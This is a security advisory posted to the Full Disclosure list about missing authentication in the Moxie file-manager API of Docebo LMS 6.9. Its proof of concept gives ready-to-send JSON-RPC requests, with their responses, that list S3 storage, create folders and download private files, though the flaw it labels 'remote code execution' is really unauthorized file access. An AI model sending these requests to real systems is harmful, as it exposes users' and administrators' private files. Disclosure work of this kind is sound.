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[FD] Docebo LMS 6.9 - (Moxie) API Calls RST Remote Code Execution Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Docebo LMS 6.9 - (Moxie) API Calls RST Remote Code Execution Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 2 Aug 2016 11:04:28 +0200
Document Title:
===============
Docebo LMS 6.9 - (Moxie) API Calls RST Remote Code Execution Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1888
Video: http://www.vulnerability-lab.com/get_content.php?id=1892
Release Date:
=============
2016-08-02
Vulnerability Laboratory ID (VL-ID):
====================================
1888
Common Vulnerability Scoring System:
====================================
7.3
Product & Service Introduction:
===============================
Docebo is a SAAS/Cloud platform for e-learning, also known as a learning
management system.From the Latin word, docere. Docebo is used
for corporate learning and has interfaces for videoconferencing and HR systems.
Using an online system for learning and training cuts
down time needed and costs that would be used on such things as printing and
distributing materials.
(Copy of the Vendor Homepage:
https://www.docebo.com/learning-management-system-lms/ &
https://en.wikipedia.org/wiki/DoceboLMS )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote code
execution vulnerability in the official Docebo LMS 6.9 web-application.
Vulnerability Disclosure Timeline:
==================================
2016-07-01: Researcher Notification & Coordination (Lawrence Amer)
2016-07-02: Vendor Notification (LMS Security Team)
2016-**-**: Vendor Response/Feedback (LMS Security Team)
2016-**-**: Vendor Fix/Patch (LMS Service Developer Team)
2016-08-02: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Docebo
Product: Docebo LMS - Content Management System (Web-Application) 6.9
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
API calls REST auth Vulnerability has been discovered in the official Docebo
LMS web-application.
Remote attackers with low user privilege are able to send Json Api request
through Moxie file manager api without
secure authentication rules, the vulnerability is located in the module
`../moxiemanager/api.php`. User with low
privileged access rights are able to send REST calls through vulnerable module
to do many actions allowed by the
current module `moxie`. The vulnerable parameters `action,json` allow remote
attackers to execute Commands
`Create,List,Download,view`. Due to our investigation we discovered that moxie
file manager is included in the
whole functionality of Docebo LMS as materials uploader, used only by admins to
customize files, images and to
manage them.
1.1
Attackers are able to retrieve list of filenames, paths of files uploaded by
Docebo admins and others users even it is private data, the vulenrable
module moxie allows remote attackers to gain access to S3 package which
responsible for storing users, admin images, files and other sensitive data.
1.2
Remote attackers are able to create files and folders names inside the S3
package of cloudfront account without approval or secure authentication.
1.3
Attackers are able to download files uploaded by administrators or other users
through api rst function called "download". Files are downloadable
from cloudfront s3 account without secure authentication.
Vulnerable Module(s):
[+]/moxiemanager/api.php
Vulnerable parameter(s):
[+]json
[+]action
Request Method(s):
[+] POST
Request Type(s):
[+] Json
Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers without user
interaction or privileged web-application user accounts.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
1. Remote attackers can send REST calls through any REST console, by following
the instruction below:
#1
URL : http://docebosaas.localhost:8080/moxiemanager/api.php
Request type : POST
Content header : application/x-www-form-urlencoded
Encoding : gzip
RAW Body :
json=%7B%22id%22%3A%22i1%22%2C%22method%22%3A%22listFiles%22%2C%22params%22%3A%7B%22path%22%3A%22%2FS3%22%2C%22filter
%22%3A%22%22%2C%22orderBy%22%3A%22name%22%2C%22desc%22%3Afalse%2C%22offset%22%3A0%2C%22length%22%3A200%2C%22lastPath%22%3Anull%7D%2C%22jsonrpc%22%3A%222.0%22%7D
--- POC LOGS ---
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: keep-alive
Origin: chrome-extension: //rest-console-id
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/37.0.2062.120 Safari/537.36
Request Url: https://vulnlab.docebosaas.com/moxiemanager/api.php
Request Method: POST
Status Code: 200
Params: {}
--- RESPONSE LOGS ---
{
"jsonrpc": "2.0",
"result": {
"columns": ["name", "size", "modified", "attrs", "info"],
"config": {
"general.hidden_tools": "",
"general.disabled_tools": "",
"filesystem.extensions": "jpg,jpeg,png,gif",
"filesystem.force_directory_template": false,
"upload.maxsize": "100MB",
"upload.chunk_size": "5mb",
"upload.extensions": "*",
"createdoc.templates": "",
"createdoc.fields": "Document title=title",
"createdir.templates": ""
},
"file": {
"path": "/S3",
"size": 0,
"lastModified": 1469569618,
"isFile": false,
"canRead": true,
"canWrite": true,
"canEdit": false,
"canRename": true,
"canView": false,
"canPreview": false,
"exists": true,
"meta": {
"url":
"https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/userfiles/13013/13013";
}
},
"urlFile": null,
"data": [
["lawrenc", 0, 0, "drwr----",
{}],
["lawrence", 0, 0, "drwr----",
{}],
["lawrenceamer", 0, 0, "drwr----",
{}]
],
"url":
"https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/userfiles/13013/13013";,
"thumbnailFolder": false,
"thumbnailPrefix": false,
"offset": 3,
"last": true
},
"id": "i1"
}
#2
1. Remote attackers can send REST calls through any REST console, by following
the instruction below:
URL : http://docebosaas.localhost:8080/moxiemanager/api.php
Request type : POST
Content header : application/x-www-form-urlencoded
Encoding : gzip
RAW Body :
json=%7B%22id%22%3A%22i9%22%2C%22method%22%3A%22createDirectory%22%2C%22params%22%3A%7B%22path%22%3A%22%2FS3%2Fvulnlab%22%7D%2C%22jsonrpc%22%3A%222.0%22%7D
--- POCS LOGS ---
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: keep-alive
Origin: chrome-extension: //rest-console-id
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/37.0.2062.120 Safari/537.36
Request Url: https://vulnlab.docebosaas.com/moxiemanager/api.php
Request Method: POST
Status Code: 200
Params: {}
--- RESPONSE LOGS ---
{
"jsonrpc": "2.0",
"result": {
"path": "/S3/vulnlab",
"size": 0,
"lastModified": 0,
"isFile": false,
"canRead": true,
"canWrite": true,
"canEdit": false,
"canRename": true,
"canView": false,
"canPreview": false,
"exists": true,
"meta": {
"url":
"https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/userfiles/13013/vulnlab";
}
},
"id": "i9"
}
#3
1. Remote attacker with low user privileges can use the link below to get files
uploaded into S3 package as zip downloadable package.
URL:
https://docebosaas.localhost:8080/moxiemanager/api.php?action=download&path=/S3&names=NAMEOFIFLE.jpg&zipname=files.zip
2. successfully reproduce the issue .
PoC: Video
https://www.youtube.com/watch?v=YF57jTPESgQ
Security Risk:
==============
The security risk of the remote code execution vulnerability in the api calls
function of the web-application is estimated as high. (CVSS 7.3)
Credits & Authors:
==================
Core Research Team - Lawrence Amer
(http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer)
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=========================
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